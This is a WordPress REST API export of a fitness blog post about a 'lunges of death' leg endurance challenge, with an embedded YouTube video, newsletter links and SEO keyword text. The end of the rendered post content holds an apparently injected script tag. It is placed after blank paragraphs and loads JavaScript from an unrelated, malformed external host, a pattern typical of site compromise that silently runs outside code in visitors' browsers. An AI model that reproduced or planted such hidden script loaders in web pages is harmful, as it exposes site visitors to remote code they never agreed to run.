{"id":217141,"date":"2020-04-30T05:31:29","date_gmt":"2020-04-30T09:31:29","guid":{"rendered":"https:\/\/synergyfitnessteam.com\/uncategorized\/lunges-of-death-contest-leg-endurance\/"},"modified":"2020-04-30T05:31:29","modified_gmt":"2020-04-30T09:31:29","slug":"lunges-of-death-contest-leg-endurance","status":"publish","type":"post","link":"https:\/\/synergyfitnessteam.com\/lunges-of-death-contest-leg-endurance\/","title":{"rendered":"Lunges of Death Contest &#8211; Leg Endurance Binghamton NY"},"content":{"rendered":"<h2>Lunges of Death Contest &#8211; Leg Endurance<\/h2>\n<div class=\"youtubomatic-video-container\"><iframe width=\"1920\" height=\"1080\" src=\"https:\/\/www.youtube.com\/embed\/_C_xI22T-7c?controls=1\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>**Sign Up For Joe&#8217;s FREE Newsletter: <a href=\"https:\/\/synergyfitnessteam.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/synergyfitnessteam.com\/<\/a><\/p>\n<p> Lunges are a high quality exercise, but if you combine them with a football field, it leads to an all new kind of muscle soreness!  We went out and performed these with Jim Smith of the Diesel Crew yesterday, working on that unilateral lower body strength.  <\/p>\n<p>If you notice around the 50 yrd line, my right toe starts dragging some.  That&#8217;s when I started to lose muscle control.  Great competitive challenge.  <\/p>\n<p>&#8211; Joe Hashey, CSCS &#8211;<br \/>\nSynergy Athletics <\/p>\n<p>PS.  Like it mentions in the video, the lunges of death are performed with a sandbag or dumbells weighing 50 lbs.<\/p>\n<p>Want more competitive finishers?<br \/>\n<a href=\"http:\/\/www.bullstrength.com\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.bullstrength.com<\/a><\/p>\n<p>Keywords:<br \/>\nlunges of death,<br \/>\nlunges,<br \/>\n unilateral exercise,<br \/>\nsynergy athletics,<br \/>\nlower body,<br \/>\nleg exercise,<br \/>\nfootball training,<br \/>\nspeed training,<br \/>\nleg strength,<br \/>\nstrength challenge<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">Lunges of Death Contest &#8211; Leg Endurance Binghamton NY Related Info<\/h3>\n<p><strong>Meta Description of <em>Lunges of Death Contest &#8211; Leg Endurance<\/em>:<\/strong> Lunges of Death Contest &#8211; Leg Endurance &#8211; Synergy Fitness Club Binghamton NY, Category: Synergy Fitness Team on YouTube, Tags: Football Training, football trai<\/p>\n<p>Related City:\u00a0<a href=\"https:\/\/synergyfitnessteam.com\/category\/synergy\/binghamton\/\">Binghamton NY<\/a>, Tags: football training, leg exercise, leg strength, lower body, lunges, lunges of death, speed training, strength challenge, synergy athletics, unilateral exercise, <a href=\"https:\/\/synergyfitnessteam.com\/tag\/football-training\/\">Football Training<\/a> and <a href=\"https:\/\/synergyfitnessteam.com\/tag\/fat-loss-extreme\/\">Fat Loss Extreme<\/a>, Categories: Synergy Fitness Team on YouTube and <a href=\"https:\/\/synergyfitnessteam.com\/category\/fitness-studio\/fitness-club\/\">Fitness Club<\/a>.<\/p>\n<p>Recommended pages or posts on Lunges of Death Contest &#8211; Leg Endurance: <a href=\"https:\/\/synergyfitnessteam.com\/fitness-studio\/the-best-fitness-club-advice-for-ab-training\/\">The Best Fitness Club Advice for Ab Training<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=_C_xI22T-7c\">Watch &#8220;Lunges of Death Contest &#8211; Leg Endurance Binghamton NY&#8221; on YouTube<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/bono.\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lunges of Death Contest &#8211; Leg Endurance **Sign Up For Joe&#8217;s FREE Newsletter: https:\/\/synergyfitnessteam.com\/ Lunges are a high quality exercise, but if you combine them with a football field, it leads to an all new kind of muscle soreness! We went out and performed these with Jim Smith of the Diesel Crew yesterday, working on [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[29,305,117,1071,213,1072,1073,194,1074,303,294],"_links":{"self":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217141"}],"collection":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/comments?post=217141"}],"version-history":[{"count":0,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/217141\/revisions"}],"wp:attachment":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/media?parent=217141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/categories?post=217141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/tags?post=217141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}